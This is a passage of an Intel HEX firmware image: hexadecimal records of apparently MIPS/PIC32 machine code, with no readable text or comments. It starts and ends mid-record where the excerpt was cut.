76\n:1036fc000800401400000000059d023c4486442450\n:10370c000413410f00000000211000003d8e400bff\n:10371c00000000001400c28f000040a04400c2272b\n:10372c0021204000f400c58fcbb8400f00000000f2\n:10373c002118400020000224080062100000000044\n:10374c00059d023c688644240413410f00000000d0\n:10375c00211000003d8e400b000000001400c28fb1\n:10376c00010042244400c327200063242120600070\n:10377c0021284000cbb8400f000000002118400069\n:10378c00200002240800621000000000059d023c8d\n:10379c00848644240413410f000000002110000013\n:1037ac003d8e400b000000008400c3274400c2275c\n:1037bc002120600021284000438e400f00000000b3\n:1037cc000800401400000000059d023ca086442423\n:1037dc000413410f00000000211000003d8e400b2f\n:1037ec00000000009c00c4278400c5274400c327a8\n:1037fc002400c2272130600021384000cc8e400fbd\n:10380c00000000000800401400000000059d023c70\n:10381c00c88644240413410f00000000211000004e\n:10382c003d8e400b00000000f000c28f000040a055\n:10383c001000c0af388e400b000000001000c28f8b\n:10384c00ff00423021284000c800c4274400c32791\n:10385c009c00c2272130600021384000f98f400fb6\n:10386c00000000000c00401000000000d400c32732\n:10387c00c800c22721206000059d033cf886652402\n:10388c001000c68f21384000e455410f00000000a5\n:10389c00308e400b00000000d400c22721204000d5\n:1038ac00059d023c048745241000c68fe455410f4a\n:1038bc0000000000d400c227f000c48f2128400073\n:1038cc009757410f000000001000c28f01004224e6\n:1038dc001000c2af1000c28f08004228d7ff40145e\n:1038ec00000000000100022421e8c003ec00bf8f9f\n:1038fc00e800be8ff000bd270800e00300000000c8\n:10390c00c8ffbd273400bfaf3000beaf21f0a0030d\n:10391c003800c4af3c00c5af059d023c0c87442465\n:10392c000413410f000000001000c0a3bd8e400b1b\n:10393c00000000001100c0a3b68e400b0000000078\n:10394c001200c0a3af8e400b000000001300c0a3f8\n:10395c00a88e400b000000001400c0a3a18e400be9\n:10396c00000000001500c0a39a8e400b0000000060\n:10397c001000c2931800c2a31100c2931900c2a375\n:10398c001200c2931a00c2a31300c2931b00c2a35d\n:10399c001400c2931c00c2a31d00c0a31500c29347\n:1039ac001e00c2a31f00c0a32000c0a32100c0a3ff\n:1039bc002400c3271800c227212060003c00c58fbb\n:1039cc00213040000a0007247a90400f00000000cc\n:1039dc001b004010000000002400c22721204000e2\n:1039ec00059d023c30874524544e410f00000000d9\n:1039fc0013004010000000003800c28f1800c48f64\n:103a0c001c00c38f030044a8000044b8070043a85f\n:103a1c00040043b82000c393080043a02100c393c3\n:103a2c00090043a0059d023c2c8644240413410f3d\n:103a3c000000000001000224c68e400b00000000b4\n:103a4c00059d023c3c8744240413410f00000000f8\n:103a5c001500c293010042241500c2a31500c293a5\n:103a6c000200422cc2ff4014000000001400c2935c\n:103a7c00010042241400c2a31400c2930200422c81\n:103a8c00b8ff4014000000001300c2930100422450\n:103a9c001300c2a31300c2930200422caeff4014c9\n:103aac00000000001200c293010042241200c2a3c5\n:103abc001200c2930200422ca4ff4014000000002c\n:103acc001100c293010042241100c2a31100c29341\n:103adc000200422c9aff4014000000001000c29318\n:103aec00010042241000c2a31000c2930200422c19\n:103afc0090ff401400000000059d023c40874424c8\n:103b0c000413410f000000002110000021e8c00345\n:103b1c003400bf8f3000be8f3800bd270800e00393\n:103b2c0000000000a0ffbd275c00bfaf5800beaf77\n:103b3c0021f0a0036000c4af6400c5af6800c6af3d\n:103b4c006c00c7af059d023c848744240413410fcd\n:103b5c00000000001800c0a3628f400b00000000a2\n:103b6c001900c0a35b8f400b000000001a00c0a31b\n:103b7c00548f400b000000001b00c0a34d8f400b66\n:103b8c00000000006400c28f030043882120600005\n:103b9c000000449807004388040043981c00c4affd\n:103bac002000c3af080043902400c3a30900429037\n:103bbc002500c2a31800c2930900401000000000a9\n:103bcc002100c2930100422cff0042302100c2a30d\n:103bdc001c00c2930100422cff0042301c00c2a307\n:103bec001900c29309004010000000002300c2938a\n:103bfc000100422cff0042302300c2a31e00c293de\n:103c0c000100422cff0042301e00c2a31a00c293d6\n:103c1c0009004010000000002400c2930100422c57\n:103c2c00ff0042302400c2a31f00c2930100422cab\n:103c3c00ff0042301f00c2a31b00c29309004010ba\n:103c4c00000000002500c2930100422cff0042300e\n:103c5c002500c2a32000c2930100422cff00423079\n:103c6c002000c2a32800c3271c00c227212060000b\n:103c7c006800c58f213040000a0007247a90400f5d\n:103c8c000000000021004010000000002800c227a6\n:103c9c0021204000059d023c30874524544e410fa5\n:103cac000000000019004010000000003400c32781\n:103cbc002800c2272120600021284000cbb8400feb\n:103ccc00000000001c00c2273400c3271000a3af63\n:103cdc006000c48f6800c58f213040006c00c78f16\n:103cec00718f400f00000000080040100000000021\n:103cfc00059d023c2c8644240413410f0000000057\n:103d0c00010002246b8f400b00000000059d023c5b\n:103d1c003c8744240413410f000000001b00c29395\n:103d2c00010042241b00c2a31b00c2930200422cc0\n:103d3c0094ff4014000000001a00c29301004224ba\n:103d4c001a00c2a31a00c2930200422c8aff40142c\n:103d5c00000000001900c293010042241900c2a304\n:103d6c001900c2930200422c80ff40140000000096\n:103d7c001800c293010042241800c2a31800c29379\n:103d8c000200422c76ff401400000000059d023c0e\n:103d9c00a48744240413410f0000000021100000ec\n:103dac0021e8c0035c00bf8f5800be8f6000bd27a8\n:103dbc000800e0030000000030ffbd27cc00bfafbf\n:103dcc00c800beaf21f0a003d000c4afd400c5af73\n:103ddc00d800c6afdc00c7af1400c22721204000ba\n:103dec00d800c58f0a000624214b410f00000000ab\n:103dfc001400c2270a00422421204000e000c58f95\n:103e0c0020000624214b410f000000004000c22777\n:103e1c0021204000059d023cf88745245bba400fe9\n:103e2c00000000004000c2270a004224212040006c\n:103e3c00dc00c58f20000624214b410f0000000040\n:103e4c004000c3271400c227d000c48f2128600073\n:103e5c00213040002a000724d48f400f00000000be\n:103e6c001000c0afac8f400b000000001000c28fe0\n:103e7c004010020080180200211043006c00c32780\n:103e8c002110620021204000059d023cf88745244a\n:103e9c005bba400f000000001000c28f01004224ea\n:103eac001000c2af1000c28f04004228efff401474\n:103ebc00000000009400c3276c00c2272120600082\n:103ecc0021284000d000c68f28000724d48f400f33\n:103edc0000000000bc00c3279400c2272120600012\n:103eec00d400c58f21304000280007247a90400f61\n:103efc00000000000c00401000000000bc00c227b5\n:103f0c0021204000059d023c30874524544e410f32\n:103f1c00000000000400401000000000010002241a\n:103f2c00ce8f400b000000002110000021e8c003e0\n:103f3c00cc00bf8fc800be8fd000bd270800e003a7\n:103f4c0000000000f0ffbd270c00beaf21f0a00365\n:103f5c001000c4af1400c5af1800c6af1c00c7af2b\n:103f6c000000c0afef8f400b000000000000c28fbc\n:103f7c001000c38f211062000000c38f1400c48f87\n:103f8c0021188300000064900000c38f1800c58fb7\n:103f9c002118a3000000639026188300ff006330f3\n:103fac00000043a00000c28f010042240000c2aff9\n:103fbc000000c38f1c00c28f2b106200ebff40145b\n:103fcc000000000021e8c0030c00be8f1000bd27cc\n:103fdc000800e0030000000080ffbd277c00bfaf9d\n:103fec007800beaf21f0a0038000c4af2110a00068\n:103ffc008800c6af8c00c7af8400c2a38400c293f4\n:10400c000800422c0800401400000000059d023cf2\n:10401c00048844240413410f000000002110000008\n:10402c007490400b000000001000c22721204000bb\n:10403c00059d023cf88745245bba400f0000000048\n:10404c008400c293010042300900401000000000bf\n:10405c001900c2930100422cff0042301900c2a388\n:10406c001400c2930100422cff0042301400c2a382\n:10407c008400c2930200423009004010000000008e\n:10408c001800c2930100422cff0042301800c2a35a\n:10409c001300c2930100422cff0042301300c2a354\n:1040ac008400c2930400423009004010000000005c\n:1040bc001700c2930100422cff0042301700c2a32c\n:1040cc001200c2930100422cff0042301200c2a326\n:1040dc001c00c227212040001000c22721284000cc\n:1040ec008c00c68f0a000724d48f400f00000000fc\n:1040fc002800c3271c00c227212060008800c58f20\n:10410c00213040000a0007247a90400f0000000084\n:10411c0027004010000000002800c227212040008a\n:10412c00059d023c30874524544e410f0000000091\n:10413c0019004010000000003400c3272800c227db\n:10414c002120600021284000cbb8400f0000000067\n:10415c008c00c28f0a0042245400c4273400c327a9\n:10416c00212860002130400020000724d48f400f0c\n:10417c00000000005400c2278000c48f212840009a\n:10418c002000062447b9400f000000000100022463\n:10419c007490400b00000000059d023c30884424c4\n:1041ac000413410f000000007390400b000000004e\n:1041bc00059d023c7c8844240413410f0000000040\n:1041cc002110000021e8c0037c00bf8f7800be8f57\n:1041dc008000bd270800e0030000000098ffbd2709\n:1041ec006400bfaf6000beaf21f0a0036800c4af95\n:1041fc006c00c5af7000c6af7400c7af1800c0af7d\n:10420c004400c22721204000b6ad400f0000000042\n:10421c000800401400000000059d023cb8884424ae\n:10422c000413410f0000000021100000bc90400b53\n:10423c0000000000088180af4400c227212040000c\n:10424c00b6ad400f00000000080040140000000054\n:10425c00059d023ce48844240413410f0000000037\n:10426c0021100000bc90400b000000005000c22741\n:10427c001000a0af212040006c00c58f4000062428\n:10428c0003000724c290400f0000000008004014f7\n:10429c0000000000059d023c1c8944240413410fbe\n:1042ac000000000021100000bc90400b000000003a\n:1042bc001000a0af6800c48f7000c58f7400c68f4b\n:1042cc0003000724c290400f0000000004004014bb\n:1042dc000000000021100000bc90400b000000000a\n:1042ec000100022421e8c0036400bf8f6000be8f70\n:1042fc006800bd270800e0030000000098ffbd2700\n:10430c006400bfaf6000beaf21f0a0036800c4af73\n:10431c006c00c5af7000c6af7400c7af3000c0af43\n:10432c00088180af00a0023cdc5642249c00478ce4\n:10433c0000a0023cdc564224f800468c00a0023c53\n:10434c00dc564224e400458c00a0023cdc5642249e\n:10435c00e800448c00a0023cdc564224e000438c74\n:10436c0000a0023cdc564224f400428c7400c88f3e\n:10437c001000a8af1400a7af1800a0af1c00a6af88\n:10438c002000a5af2400a4af2800a3af2c00a2af3f\n:10439c006c00c48f7000c58f7800c68f0100072495\n:1043ac00023c410f00000000080040140000000017\n:1043bc00059d023c4c8944240413410f000000006d\n:1043cc00211000003391400b00000000010002247a\n:1043dc00408282a300a0023cdc5642249c00448c08\n:1043ec0000a0023cdc564224a400438c00a0023cfa\n:1043fc00dc564224bc0042902130400000a0023c1c\n:10440c00dc5642248c00458c3400c22700a0073cab\n:10441c009957e7241000a7af1400a6af1800a5af5a\n:10442c00010005241c00a5af2000a0af21286000ce\n:10443c0021304000250007248dff400f00000000b4\n:10444c003000c2af3000c38f250002241b00621461\n:10445c00000000003400c22721204000059d023cd2\n:10446c0074c64524050006240954410f00000000c1\n:10447c000800401000000000059d023c7489442493\n:10448c000413410f00000000211000003391400b79\n:10449c00000000003400c227050042246800c48fcd\n:1044ac00212840002000062447b9400f00000000de\n:1044bc00010002243391400b000000002110000089\n:1044cc0021e8c0036400bf8f6000be8f6800bd2769\n:1044dc000800e00300000000b8fabd274405bfaf98\n:1044ec004005beaf3c05b7af3805b6af3405b5af28\n:1044fc003005b4af2c05b3af2805b2af2405b1af6e\n:10450c002005b0af21f0a0034805c4af4c05c5afe2\n:10451c004c05c28f1800c2af1800c48f20000524b0\n:10452c00c658410f000000001c00c2af1c00c28f17\n:10453c000800401400000000059d023c94894424ae\n:10454c000413410f00000000211000007b9a400b67\n:10455c00000000001c00c28f000040a01800c48f97\n:10456c007b4b410f00000000211840000c0002247e\n:10457c000800621000000000059d023cc089442424\n:10458c000413410f00000000211000007b9a400b27\n:10459c00000000001800c48f05b8400f0000000098\n:1045ac0040260300c281020025809000c2890300ce\n:1045bc0001001632000037321800c48f05b8400fc6\n:1045cc0000000000c02603004291020025909200da\n:1045dc0042990300020042323000c2af0000633245\n:1045ec003400c3af3000c68f2120c6022b109600ba\n:1045fc003400c38f2128e3022110450021284000fc\n:10460c00218080002188a0001800c48f05b8400fbd\n:10461c000000000040270300c2a0020025a0940067\n:10462c00c2a80300040084323800c4af0000a532d5\n:10463c003c00c5af3800c68f212006022b1090001d\n:10464c003c00c38f21282302211045002128400063\n:10465c00218080002188a0001800c48f05b8400f6d\n:10466c0000000000c0270300422802004000c5af34\n:10467c004000c68f252086004000c4af42200300b6\n:10468c004400c4af4000c58f0800a5304800c5af3a\n:10469c004400c68f0000c6304c00c6af4800c28f25\n:1046ac00212002022b1090004c00c38f21282302e2\n:1046bc002110450021284000218080002188a00085\n:1046cc001800c48f05b8400f00000000c22702007c\n:1046dc00402803005400c5af5400c68f2520860027\n:1046ec005400c4af402002005000c4af5000c58f2e\n:1046fc001000a5305800c5af5400c68f0000c6305e\n:10470c005c00c6af5800c28f212002022b10900013\n:10471c005c00c38f21282302211045002128400072\n:10472c00218080002188a0001800c48f05b8400f9c\n:10473c000000000042270200c02803006400c5af3f\n:10474c006400c68f252086006400c4afc020020020\n:10475c006000c4af6000c58f2000a5306800c5aff5\n:10476c006400c68f0000c6306c00c6af6800c28ff4\n:10477c00212002022b1090006c00c38f21282302f1\n:10478c002110450021284000218080002188a000b4\n:10479c001800c48f05b8400f00000000c2260200ac\n:1047ac00402903007400c5af7400c68f2520860015\n:1047bc007400c4af402102007000c4af7000c58ffc\n:1047cc004000a5307800c5af7400c68f0000c6301d\n:1047dc007c00c6af7800c28f212002022b10900003\n:1047ec007c00c38f21282302211045002128400082\n:1047fc00218080002188a0001800c48f05b8400fcc\n:10480c000000000042260200c02903008400c5af4e\n:10481c008400c68f252086008400c4afc02102000e\n:10482c008000c4af8000c5938800c5af8400c68fdc\n:10483c000000c6308c00c6af8800c28f2120020257\n:10484c002b1090008c00c38f2128230221104500cf\n:10485c0021284000219080002198a0001800c48fce\n:10486c0005b8400f0000000040240300c22b0200da\n:10487c009000c5af9000c68f252086009000c4af75\n:10488c00c22303009400c4af9000c58f0100a53073\n:10489c009800c5af9400c68f0000c6309c00c6af10\n:1048ac001800c48f05b8400f00000000c02403009e\n:1048bc00422b0200a000c5afa000c68f25208600a9\n:1048cc00a000c4af42230300a400c4afa000c58f56\n:1048dc000200a530a800c5afa400c68f0000c630ea\n:1048ec00ac00c6af9800c28fa800c38f2120430034\n:1048fc009800c68f2b1086009c00c38fac00c68f0f\n:10490c0021286600211045002128400021808000cc\n:10491c002188a0001800c48f05b8400f00000000cb\n:10492c0040250300c22a0200b000c5afb000c68ffc\n:10493c0025208600b000c4afc2220300b400c4af6f\n:10494c00b000c58f0400a530b800c5afb400c68f49\n:10495c000000c630bc00c6afb800c28f21200202d6\n:10496c002b109000bc00c38f21282302211045007e\n:10497c0021284000218080002188a0001800c48fcd\n:10498c0005b8400f00000000c0250300422a0200b9\n:10499c00c000c5afc000c68f25208600c000c4afc4\n:1049ac0042220300c400c4afc000c58f0800a5306c\n:1049bc00c800c5afc400c68f0000c630cc00c6af5f\n:1049cc00c800c28f212002022b109000cc00c38f94\n:1049dc00212823022110450021284000218080003d\n:1049ec002188a0001800c48f05b8400f00000000fb\n:1049fc0000260300022a0200d000c5afd000c68feb\n:104a0c0025208600d000c4af02220300d400c4af1e\n:104a1c00d000c58fc2170500d400c68f40300600e9\n:104a2c00dc00c6afdc00c38f25104300dc00c2af36\n:104a3c00d000c48f40200400d800c4afd800c58f6c\n:104a4c001000a530e000c5afdc00c68f0000c630fa\n:104a5c00e400c6afe000c28f212002022b109000b0\n:104a6c00e400c38f21282302211045002128400097\n:104a7c00218080002188a0001800c48f05b8400f49\n:104a8c000000000000260300022a0200e800c5af67\n:104a9c00e800c68f25208600e800c4af0222030080\n:104aac00ec00c4afe800c58f42170500ec00c68fc0\n:104abc00c0300600f400c6aff400c38f25104300cd\n:104acc00f400c2afe800c48fc0200400f000c4aff3\n:104adc00f000c58f2000a530f800c5aff400c68fdc\n:104aec000000c630fc00c6aff800c28f21200202c5\n:104afc002b109000fc00c38f2128230221104500ad\n:104b0c0021284000218080002188a0001800c48f3b\n:104b1c0005b8400f0000000000260300022a020026\n:104b2c000001c5af0001c68f252086000001c4af6f\n:104b3c00022203000401c4af0001c58fc216050098\n:104b4c000401c68f403106000c01c6af0c01c38fa7\n:104b5c00251043000c01c2af0001c48f402104009a\n:104b6c000801c4af0801c58f4000a5301001c5afc6\n:104b7c000c01c68f0000c6301401c6af1001c28fe5\n:104b8c00212002022b1090001401c38f2128230234\n:104b9c002110450021284000218080002188a000a0\n:104bac001800c48f05b8400f000000000026030059\n:104bbc00022a02001801c5af1801c68f25208600f5\n:104bcc001801c4af022203001c01c4af1801c58f29\n:104bdc00421605001c01c68fc03106002401c6af69\n:104bec002401c38f251043002401c2af1801c48fc8\n:104bfc00c02104002001c4af2001c5932801c5af1a\n:104c0c002401c68f0000c6302c01c6af2801c28f0c\n:104c1c00212002022b1090002c01c38f212823028b\n:104c2c002110450021284000211080002118a000ef\n:104c3c0002260200002a03003401c5af3401c68fde\n:104c4c00252086003401c4af002202003001c4af1d\n:104c5c003001c68f212046022b1092003401c38fe5\n:104c6c0021286302211045002128400021a080004a\n:104c7c0021a8a0001800c48f05b8400f0000000048\n:104c8c0040220300c22d02003801c5af3801c68f87\n:104c9c00252086003801c4afc22503003c01c4aff7\n:104cac003801c58f0100a5304001c5af3c01c68f4e\n:104cbc000000c6304401c6af1800c48f05b8400fc1\n:104ccc0000000000c0220300422d02004801c5afc5\n:104cdc004801c68f252086004801c4af4225030039\n:104cec004c01c4af4801c58f0200a5305001c5afbf\n:104cfc004c01c68f0000c6305401c6af4001c28fb4\n:104d0c005001c38f212043004001c68f2b10860019\n:104d1c004401c38f5401c68f212866002110450021\n:104d2c0021284000218080002188a0001800c48f19\n:104d3c0005b8400f0000000040230300c22c020005\n:104d4c005801c5af5801c68f252086005801c4af45\n:104d5c00c22403005c01c4af5801c58f0400a53008\n:104d6c006001c5af5c01c68f0000c6306401c6afe0\n:104d7c006001c28f212002022b1090006401c38fae\n:104d8c002128230221104500212840002180800089\n:104d9c002188a0001800c48f05b8400f0000000047\n:104dac00c0230300422c02006801c5af6801c68f06\n:104dbc00252086006801c4af422403006c01c4aff7\n:104dcc006801c58f0800a5307001c5af6c01c68f96\n:104ddc000000c6307401c6af7001c28f21200202e0\n:104dec002b1090007401c38f212823022110450041\n:104dfc0021284000218080002188a0001800c48f49\n:104e0c0005b8400f0000000000240300022c020033\n:104e1c007801c5af7801c68f252086007801c4af14\n:104e2c00022403007c01c4af7801c58fc2170500b2\n:104e3c007c01c68f403006008401c6af8401c38f4d\n:104e4c00251043008401c2af7801c48f40200400b8\n:104e5c008001c4af8001c58f1000a5308801c5af9b\n:104e6c008401c68f0000c6308c01c6af8801c28f8a\n:104e7c00212002022b1090008c01c38f21282302c9\n:104e8c002110450021284000218080002188a000ad\n:104e9c001800c48f05b8400f000000000024030068\n:104eac00022c02009001c5af9001c68f2520860010\n:104ebc009001c4af022403009401c4af9001c58fcc\n:104ecc00421705009401c68fc03006009c01c6af86\n:104edc009c01c38f251043009c01c2af9001c48f6d\n:104eec00c02004009801c4af9801c58f2000a530e4\n:104efc00a001c5af9c01c68f0000c630a401c6af8f\n:104f0c00a001c28f212002022b109000a401c38f9c\n:104f1c0021282302211045002128400021808000f7\n:104f2c002188a0001800c48f05b8400f00000000b5\n:104f3c0000240300022c0200a801c5afa801c68ff3\n:104f4c0025208600a801c4af02240300ac01c4af25\n:104f5c00a801c58fc2160500ac01c68f40310600f2\n:104f6c00b401c6afb401c38f25104300b401c2af66\n:104f7c00a801c48f40210400b001c4afb001c58f9b\n:104f8c004000a530b801c5afb401c68f0000c630d3\n:104f9c00bc01c6afb801c28f212002022b109000b9\n:104fac00bc01c38f21282302211045002128400079\n:104fbc00218080002188a0001800c48f05b8400f04\n:104fcc000000000000240300022c0200c001c5af49\n:104fdc00c001c68f25208600c001c4af0224030087\n:104fec00c401c4afc001c58f42160500c401c68ff1\n:104ffc00c0310600cc01c6afcc01c38f25104300d5\n:10500c00cc01c2afc001c48fc0210400c801c4af21\n:10501c00c801c593d001c5afcc01c68f0000c63006\n:10502c00d401c6afd001c28f212002022b109000f8\n:10503c00d401c38f212823022110450021284000d0\n:10504c00219080002198a0001800c48f05b8400f53\n:10505c000000000040200300c22f0200d801c5afa1\n:10506c00d801c68f25208600d801c4afc227030003\n:10507c00dc01c4afd801c58f0100a530e001c5af7c\n:10508c00dc01c68f0000c630e401c6af1800c48f27\n:10509c0005b8400f00000000c0200300422f0200a2\n:1050ac00e801c5afe801c68f25208600e801c4af32\n:1050bc0042270300ec01c4afe801c58f0200a53004\n:1050cc00f001c5afec01c68f0000c630f401c6afcd\n:1050dc00e001c28ff001c38f21204300e001c68f95\n:1050ec002b108600e401c38ff401c68f21286600c3\n:1050fc002110450021284000218080002188a0003b\n:10510c001800c48f05b8400f0000000040210300b8\n:10511c00c22e0200f801c5aff801c68f252086000b\n:10512c00f801c4afc2260300fc01c4aff801c58f5f\n:10513c000400a5300002c5affc01c68f0000c630cc\n:10514c000402c6af0002c28f212002022b10900075\n:10515c000402c38f2128230221104500212840007e\n:10516c00218080002188a0001800c48f05b8400f52\n:10517c0000000000c0210300422e02000802c5af4f\n:10518c000802c68f252086000802c4af4226030001\n:10519c000c02c4af0802c58f0800a5301002c5afc1\n:1051ac000c02c68f0000c6301402c6af1002c28fac\n:1051bc00212002022b1090001402c38f21282302fd\n:1051cc002110450021284000218080002188a0006a\n:1051dc001800c48f05b8400f000000000022030027\n:1051ec00022e02001802c5af1802c68f25208600b9\n:1051fc001802c4af022603001c02c4af1802c58fec\n:10520c00c21705001c02c68f403006002402c6af30\n:10521c002402c38f251043002402c2af1802c48f8e\n:10522c00402004002002c4af2002c58f1000a5301e\n:10523c002802c5af2402c68f0000c6302c02c6afb0\n:10524c002802c28f212002022b1090002c02c38f47\n:10525c0021282302211045002128400021808000b4\n:10526c002188a0001800c48f05b8400f0000000072\n:10527c0000220300022e02003002c5af3002c68f9e\n:10528c00252086003002c4af022603003402c4afce\n:10529c003002c58f421705003402c68fc03006009d\n:1052ac003c02c6af3c02c38f251043003c02c2af88\n:1052bc003002c48fc02004003802c4af3802c58f3e\n:1052cc002000a5304002c5af3c02c68f0000c6309e\n:1052dc004402c6af4002c28f212002022b10900064\n:1052ec004402c38f212823022110450021284000ad\n:1052fc00218080002188a0001800c48f05b8400fc1\n:10530c000000000000220300022e02004802c5af7c\n:10531c004802c68f252086004802c4af022603002f\n:10532c004c02c4af4802c58fc21605004c02c68f92\n:10533c00403106005402c6af5402c38f25104300ff\n:10534c005402c2af4802c48f402104005002c4afc3\n:10535c005002c58f4000a5305802c5af5402c68f0d\n:10536c000000c6305c02c6af5802c28f2120020278\n:10537c002b1090005c02c38f2128230221104500c2\n:10538c0021284000218080002188a0001800c48fb3\n:10539c0005b8400f0000000000220300022e02009e\n:1053ac006002c5af6002c68f252086006002c4afc4\n:1053bc00022603006402c4af6002c58f42160500ca\n:1053cc006402c68fc03106006c02c6af6c02c38f7c\n:1053dc00251043006c02c2af6002c48fc0210400d0\n:1053ec006802c4af6802c5937002c5af6c02c68f69\n:1053fc000000c6307402c6af7002c28f21200202b8\n:10540c002b1090007402c38f212823022110450019\n:10541c0021284000211080002118a0000226020043\n:10542c00002a03007c02c5af7c02c68f25208600b3\n:10543c007c02c4af002202007802c4af7802c68f8f\n:10544c00212046022b1092007c02c38f212863027c\n:10545c002110450021284000211080002118a000b7\n:10546c0002240200002c03008402c5af8402c68f04\n:10547c00252086008402c4af002402008002c4af41\n:10548c008002c68f212086022b1094008402c38fc9\n:10549c002128a302211045002128400021b08000c2\n:1054ac0021b8a0001800c48f05b8400f0000000000\n:1054bc00c22103008802c4af8c02c0af8802c58f22\n:1054cc000100a5309002c5af8c02c68f0000c6301b\n:1054dc009402c6af1800c48f05b8400f000000003e\n:1054ec00422103009802c4af9c02c0af9802c58f42\n:1054fc000200a530a002c5af9c02c68f0000c630ca\n:10550c00a402c6af9002c28fa002c38f2120430019\n:10551c009002c68f2b1086009402c38fa402c68ff4\n:10552c0021286600211045002128400021808000a0\n:10553c002188a0001800c48f05b8400f000000009f\n:10554c00c2200300a802c4afac02c0afa802c58f32\n:10555c000400a530b002c5afac02c68f0000c63047\n:10556c00b402c6afb002c28f212002022b109000f1\n:10557c00b402c38f212823022110450021284000aa\n:10558c00218080002188a0001800c48f05b8400f2e\n:10559c000000000042200300b802c4afbc02c0af40\n:1055ac00b802c58f0800a530c002c5afbc02c68fbb\n:1055bc000000c630c402c6afc002c28f2120020256\n:1055cc002b109000c402c38f212823022110450008\n:1055dc0021284000218080002188a0001800c48f61\n:1055ec0005b8400f0000000002200300c802c4af41\n:1055fc00cc02c0afc802c58fc2170500cc02c68f43\n:10560c0040300600d402c6afd402c38f251043002d\n:10561c00d402c2afc802c48f40200400d002c4af71\n:10562c00d002c58f1000a530d802c5afd402c68fea\n:10563c000000c630dc02c6afd802c28f21200202a5\n:10564c002b109000dc02c38f21282302211045006f\n:10565c0021284000218080002188a0001800c48fe0\n:10566c0005b8400f0000000002200300e002c4afa8\n:10567c00e402c0afe002c58f42170500e402c68ffa\n:10568c00c0300600ec02c6afec02c38f25104300fd\n:10569c00ec02c2afe002c48fc0200400e802c4af29\n:1056ac00e802c58f2000a530f002c5afec02c68f12\n:1056bc000000c630f402c6aff002c28f21200202f5\n:1056cc002b109000f402c38f2128230221104500d7\n:1056dc0021284000218080002188a0001800c48f60\n:1056ec0005b8400f0000000002200300f802c4af10\n:1056fc00fc02c0aff802c58fc2160500fc02c68fb3\n:10570c00403106000403c6af0403c38f25104300c9\n:10571c000403c2aff802c48f402104000003c4afdd\n:10572c000003c58f4000a5300803c5af0403c68f26\n:10573c000000c6300c03c6af0803c28f2120020242\n:10574c002b1090000c03c38f21282302211045003d\n:10575c0021284000218080002188a0001800c48fdf\n:10576c0005b8400f00000000022003001003c4af76\n:10577c001403c0af1003c58f421605001403c68f67\n:10578c00c03106001c03c6af1c03c38f2510430099\n:10579c001c03c2af1003c48fc02104001803c4af94\n:1057ac001803c5932003c5af1c03c68f0000c63079\n:1057bc002403c6af2003c28f212002022b109000bd\n:1057cc002403c38f212823022110450021284000e7\n:1057dc00219080002198a0001800c48f05b8400fbc\n:1057ec0000000000c22303002803c4af2c03c0af89\n:1057fc002803c58f0100a5303003c5af2c03c68f1d\n:10580c000000c6303403c6af1800c48f05b8400f73\n:10581c0000000000422303003803c4af3c03c0afb8\n:10582c003803c58f0200a5304003c5af3c03c68fbb\n:10583c000000c6304403c6af3003c28f4003c38f91\n:10584c00212043003003c68f2b1086003403c38ff6\n:10585c004403c68f212866002110450021284000f2\n:10586c00218080002188a0001800c48f05b8400f4b\n:10587c0000000000c22203004803c4af4c03c0afb9\n:10588c004803c58f0400a5305003c5af4c03c68f29\n:10589c000000c6305403c6af5003c28f2120020251\n:1058ac002b1090005403c38f212823022110450094\n:1058bc0021284000218080002188a0001800c48f7e\n:1058cc0005b8400f00000000422203005803c4af8b\n:1058dc005c03c0af5803c58f0800a5306003c5af8b\n:1058ec005c03c68f0000c6306403c6af6003c28f72\n:1058fc00212002022b1090006403c38f2128230265\n:10590c002110450021284000218080002188a00022\n:10591c001800c48f05b8400f0000000002220300dd\n:10592c006803c4af6c03c0af6803c58fc217050012\n:10593c006c03c68f403006007403c6af7403c38f6c\n:10594c00251043007403c2af6803c48f40200400c9\n:10595c007003c4af7003c58f1000a5307803c5afba\n:10596c007403c68f0000c6307c03c6af7803c28fa9\n:10597c00212002022b1090007c03c38f21282302cc\n:10598c002110450021284000218080002188a000a2\n:10599c001800c48f05b8400f00000000022203005d\n:1059ac008003c4af8403c0af8003c58f42170500ca\n:1059bc008403c68fc03006008c03c6af8c03c38f24\n:1059cc00251043008c03c2af8003c48fc020040099\n:1059dc008803c4af8803c58f2000a5309003c5afe2\n:1059ec008c03c68f0000c6309403c6af9003c28fe1\n:1059fc00212002022b1090009403c38f2128230234\n:105a0c002110450021284000218080002188a00021\n:105a1c001800c48f05b8400f0000000002220300dc\n:105a2c009803c4af9c03c0af9803c58fc216050082\n:105a3c009c03c68f40310600a403c6afa403c38fda\n:105a4c0025104300a403c2af9803c48f4021040067\n:105a5c00a003c4afa003c58f4000a530a803c5aff9\n:105a6c00a403c68f0000c630ac03c6afa803c28f18\n:105a7c00212002022b109000ac03c38f212823029b\n:105a8c002110450021284000218080002188a000a1\n:105a9c001800c48f05b8400f00000000022203005c\n:105aac00b003c4afb403c0afb003c58f421605003a\n:105abc00b403c68fc0310600bc03c6afbc03c38f92\n:105acc0025104300bc03c2afb003c48fc021040037\n:105adc00b803c4afb803c593c003c5afbc03c68f2e\n:105aec000000c630c403c6afc003c28f212002021f\n:105afc002b109000c403c38f2128230221104500d2\n:105b0c0021284000211080002118a000022602004c\n:105b1c00002a0300cc03c5afcc03c68f252086001a\n:105b2c00cc03c4af00220200c803c4afc803c68fa5\n:105b3c00212046022b109200cc03c38f2128630234\n:105b4c00211045002128400021a0800021a8a000a0\n:105b5c001800c48f05b8400f00000000c2250300d8\n:105b6c00d003c4afd403c0afd003c58f0100a530a0\n:105b7c00d803c5afd403c68f0000c630dc03c6af54\n:105b8c001800c48f05b8400f000000004225030028\n:105b9c00e003c4afe403c0afe003c58f0200a5303f\n:105bac00e803c5afe403c68f0000c630ec03c6aff4\n:105bbc00d803c28fe803c38f21204300d803c68fbc\n:105bcc002b108600dc03c38fec03c68f21286600e4\n:105bdc002110450021284000218080002188a00050\n:105bec001800c48f05b8400f00000000c224030049\n:105bfc00f003c4aff403c0aff003c58f0400a530ad\n:105c0c00f803c5aff403c68f0000c630fc03c6af63\n:105c1c00f803c28f212002022b109000fc03c38fcb\n:105c2c0021282302211045002128400021808000da\n:105c3c002188a0001800c48f05b8400f0000000098\n:105c4c00422403000004c4af0404c0af0004c58f99\n:105c5c000800a5300804c5af0404c68f0000c63088\n:105c6c000c04c6af0804c28f212002022b10900036\n:105c7c000c04c38f21282302211045002128400049\n:105c8c00218080002188a0001800c48f05b8400f27\n:105c9c0000000000022403001004c4af1404c0afc1\n:105cac001004c58fc21705001404c68f40300600bf\n:105cbc001c04c6af1c04c38f25104